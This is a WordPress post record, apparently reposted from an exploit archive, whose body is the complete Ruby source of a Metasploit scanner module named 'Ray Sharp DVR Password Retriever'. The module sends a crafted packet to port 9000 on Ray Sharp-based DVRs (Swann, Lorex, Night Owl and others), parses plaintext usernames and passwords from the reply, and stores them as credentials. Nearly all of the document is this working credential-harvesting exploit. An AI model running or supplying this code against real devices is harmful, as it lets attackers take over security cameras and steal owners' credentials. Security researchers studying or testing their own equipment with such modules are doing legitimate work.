{"id":59371,"date":"2024-09-01T22:39:49","date_gmt":"2024-09-01T19:39:49","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181218\/raysharp_dvr_passwords.rb.txt"},"modified":"2024-09-01T22:39:49","modified_gmt":"2024-09-01T19:39:49","slug":"ray-sharp-dvr-password-retriever","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/ray-sharp-dvr-password-retriever\/","title":{"rendered":"Ray Sharp DVR Password Retriever"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::Tcp<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Auxiliary::Scanner<\/p>\n<p>def initialize<br \/>super(<br \/>&#8216;Name&#8217; =&gt; &#8216;Ray Sharp DVR Password Retriever&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module takes advantage of a protocol design issue with the<br \/>Ray Sharp based DVR systems. It is possible to retrieve the username and<br \/>password through the TCP service running on port 9000. Other brands using<br \/>this platform and exposing the same issue may include Swann, Lorex,<br \/>Night Owl, Zmodo, URMET, and KGuard Security.<br \/>},<br \/>&#8216;Author&#8217; =&gt;<br \/>[<br \/>&#8216;someluser&#8217;, # Python script<br \/>&#8216;hdm&#8217; # Metasploit module<br \/>],<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[ &#8216;URL&#8217;, &#8216;http:\/\/console-cowboys.blogspot.com\/2013\/01\/swann-song-dvr-insecurity.html&#8217; ]],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE<br \/>)<\/p>\n<p>register_options( [ Opt::RPORT(9000) ])<br \/>end<\/p>\n<p>def report_cred(opts)<br \/>service_data = {<br \/>address: opts[:ip],<br \/>port: opts[:port],<br \/>service_name: opts[:service_name],<br \/>protocol: &#8216;tcp&#8217;,<br \/>workspace_id: myworkspace_id<br \/>}<\/p>\n<p>credential_data = {<br \/>origin_type: :service,<br \/>module_fullname: fullname,<br \/>username: opts[:user],<br \/>private_data: opts[:password],<br \/>private_type: :password<br \/>}.merge(service_data)<\/p>\n<p>login_data = {<br \/>core: create_credential(credential_data),<br \/>status: Metasploit::Model::Login::Status::UNTRIED,<br \/>proof: opts[:proof]}.merge(service_data)<\/p>\n<p>create_credential_login(login_data)<br \/>end<\/p>\n<p>def run_host(ip)<br \/>req =<br \/>&#8220;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x0E\\x0F&#8221; +<br \/>&#8220;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\x00\\x00&#8221; +<br \/>( &#8220;\\x00&#8221; * 475 )<\/p>\n<p>connect<br \/>sock.put(req)<\/p>\n<p>buf = &#8220;&#8221;<br \/>begin<br \/># Pull data until the socket closes or we time out<br \/>Timeout.timeout(15) do<br \/>loop do<br \/>res = sock.get_once(-1, 1)<br \/>buf &lt;&lt; res if res<br \/>end<br \/>end<br \/>rescue ::Timeout::Error<br \/>rescue ::EOFError<br \/>end<\/p>\n<p>disconnect<\/p>\n<p>info = &#8220;&#8221;<br \/>mac = nil<br \/>ver = nil<\/p>\n<p>creds = {}<\/p>\n<p>buf.scan(\/[\\x00\\xff]([\\x20-\\x7f]{1,32})\\x00+([\\x20-\\x7f]{1,32})\\x00\\x00([\\x20-\\x7f]{1,32})\\x00\/m).each do |cred|<br \/># Make sure the two passwords match<br \/>next unless cred[1] == cred[2]creds[cred[0]] = cred[1]end<\/p>\n<p>if creds.keys.length &gt; 0<br \/>creds.keys.sort.each do |user|<br \/>pass = creds[user]report_cred(<br \/>ip: rhost,<br \/>port: rport,<br \/>service_name: &#8216;dvr&#8217;,<br \/>user: user,<br \/>password: pass,<br \/>proof: pass<br \/>)<br \/>info &lt;&lt; &#8220;(user=&#8217;#{user}&#8217; pass=&#8217;#{pass}&#8217;) &#8220;<br \/>end<br \/>end<\/p>\n<p># Look for MAC address<br \/>if buf =~ \/([0-9A-F]{2}\\-[0-9A-F]{2}\\-[0-9A-F]{2}\\-[0-9A-F]{2}\\-[0-9A-F]{2}\\-[0-9A-F]{2})\/mi<br \/>mac = $1<br \/>end<\/p>\n<p># Look for version<br \/>if buf =~ \/(V[0-9]+\\.[0-9][^\\x00]+)\/m<br \/>ver = $1<br \/>end<\/p>\n<p>info &lt;&lt; &#8220;mac=#{mac} &#8221; if mac<br \/>info &lt;&lt; &#8220;version=#{ver} &#8221; if ver<\/p>\n<p>return unless (creds.keys.length &gt; 0 or mac or ver)<\/p>\n<p>report_service(:host =&gt; rhost, :port =&gt; rport, :sname =&gt; &#8216;dvr&#8217;, :info =&gt; info)<br \/>print_good(&#8220;#{rhost}:#{rport} #{info}&#8221;)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::Tcpinclude Msf::Auxiliary::Reportinclude Msf::Auxiliary::Scanner def initializesuper(&#8216;Name&#8217; =&gt; &#8216;Ray Sharp DVR Password Retriever&#8217;,&#8216;Description&#8217; =&gt; %q{This module takes advantage of a protocol design issue with theRay Sharp based DVR systems. It is possible to retrieve the username andpassword through the TCP service running on port &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59371","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59371","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59371"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59371\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59371"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59371"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59371"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}